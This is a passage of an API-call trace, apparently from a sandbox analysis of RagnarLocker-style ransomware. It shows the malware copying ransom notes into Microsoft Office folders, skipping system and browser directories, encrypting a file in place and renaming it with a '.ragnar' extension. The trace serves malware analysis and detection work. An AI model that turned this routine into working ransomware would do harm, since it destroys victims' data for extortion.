out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x29 [0095.295] lstrcpyW (in: lpString1=0x1ecbbc, lpString2="MEDIA" | out: lpString1="MEDIA") returned="MEDIA" [0095.295] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\" [0095.295] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\" [0095.295] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\RGNR_FD7BD9FC.txt" [0095.295] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\media\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0095.298] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*" [0095.298] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2f [0095.298] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0095.298] lstrcpyW (in: lpString1=0x1ebcdc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0095.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0095.298] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.298] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.298] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.298] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.298] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2=".") returned 1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="..") returned 1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="Windows") returned -1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="Windows.old") returned -1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="Tor browser") returned -1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="Internet Explorer") returned -1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="Google") returned -1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="Opera") returned -1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="Opera Software") returned -1 [0095.298] lstrcmpiW (lpString1="CAGCAT10", lpString2="Mozilla") returned -1 [0095.299] lstrcmpiW (lpString1="CAGCAT10", lpString2="Mozilla Firefox") returned -1 [0095.299] lstrcmpiW (lpString1="CAGCAT10", lpString2="$Recycle.Bin") returned 1 [0095.299] lstrcmpiW (lpString1="CAGCAT10", lpString2="ProgramData") returned -1 [0095.299] lstrcmpiW (lpString1="CAGCAT10", lpString2="All Users") returned 1 [0095.299] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2f [0095.299] lstrcpyW (in: lpString1=0x1ec0f0, lpString2="CAGCAT10" | out: lpString1="CAGCAT10") returned="CAGCAT10" [0095.299] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0095.299] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0095.299] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\RGNR_FD7BD9FC.txt" [0095.299] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0095.303] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*" [0095.303] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.303] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0095.303] lstrcpyW (in: lpString1=0x1eb216, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0095.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0095.304] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.304] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.304] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.305] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.305] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0095.305] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0095.305] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0095.305] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.305] lstrcpyW (in: lpString1=0x1eb62a, lpString2="1033" | out: lpString1="1033") returned="1033" [0095.305] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" [0095.305] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" [0095.305] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\RGNR_FD7BD9FC.txt" [0095.305] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0095.307] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*" [0095.307] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0095.307] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0095.307] lstrcpyW (in: lpString1=0x1ea748, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0095.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0095.308] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.308] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.308] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0095.308] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2=".") returned 1 [0095.308] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="..") returned 1 [0095.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bce20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0095.308] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0095.308] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0095.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bce20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0095.308] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0095.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0095.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8b0bce20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0095.308] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0095.308] lstrcpyW (in: lpString1=0x1eab5c, lpString2="CAGCAT10.MML" | out: lpString1="CAGCAT10.MML") returned="CAGCAT10.MML" [0095.308] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned=".MML" [0095.308] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.308] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="autorun.inf") returned 1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="boot.ini") returned 1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="bootfont.bin") returned 1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="bootsect.bak") returned 1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="bootmgr") returned 1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="bootmgr.efi") returned 1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="bootmgfw.efi") returned 1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="desktop.ini") returned -1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="iconcache.db") returned -1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="ntldr") returned -1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="ntuser.dat") returned -1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="ntuser.dat.log") returned -1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="ntuser.ini") returned -1 [0095.309] lstrcmpiW (lpString1="CAGCAT10.MML", lpString2="thumbs.db") returned -1 [0095.309] lstrcmpiW (lpString1=".MML", lpString2=".db") returned 1 [0095.309] lstrcmpiW (lpString1=".MML", lpString2=".sys") returned -1 [0095.309] lstrcmpiW (lpString1=".MML", lpString2=".dll") returned 1 [0095.309] lstrcmpiW (lpString1=".MML", lpString2=".lnk") returned 1 [0095.309] lstrcmpiW (lpString1=".MML", lpString2=".msi") returned -1 [0095.309] lstrcmpiW (lpString1=".MML", lpString2=".drv") returned 1 [0095.309] lstrcmpiW (lpString1=".MML", lpString2=".exe") returned 1 [0095.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0095.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0095.310] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=312400) returned 1 [0095.310] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c447, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.310] GetProcessHeap () returned 0x580000 [0095.310] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.310] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0095.311] VirtualAlloc (lpAddress=0x0, dwSize=0x4c450, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0095.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0095.311] ReadFile (in: hFile=0xf4, lpBuffer=0x480000, nNumberOfBytesToRead=0x4c450, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1ea45c*=0x4c450, lpOverlapped=0x0) returned 1 [0095.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0095.320] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c450, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.320] WriteFile (in: hFile=0xf4, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x4c450, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1ea458*=0x4c450, lpOverlapped=0x0) returned 1 [0095.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c450, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.321] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.322] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c450, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.323] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.323] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0095.323] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0095.323] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0095.323] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.323] GetProcessHeap () returned 0x580000 [0095.323] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.323] CloseHandle (hObject=0xf4) returned 1 [0095.323] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" [0095.323] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.ragnar_FD7BD9FC" [0095.323] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft 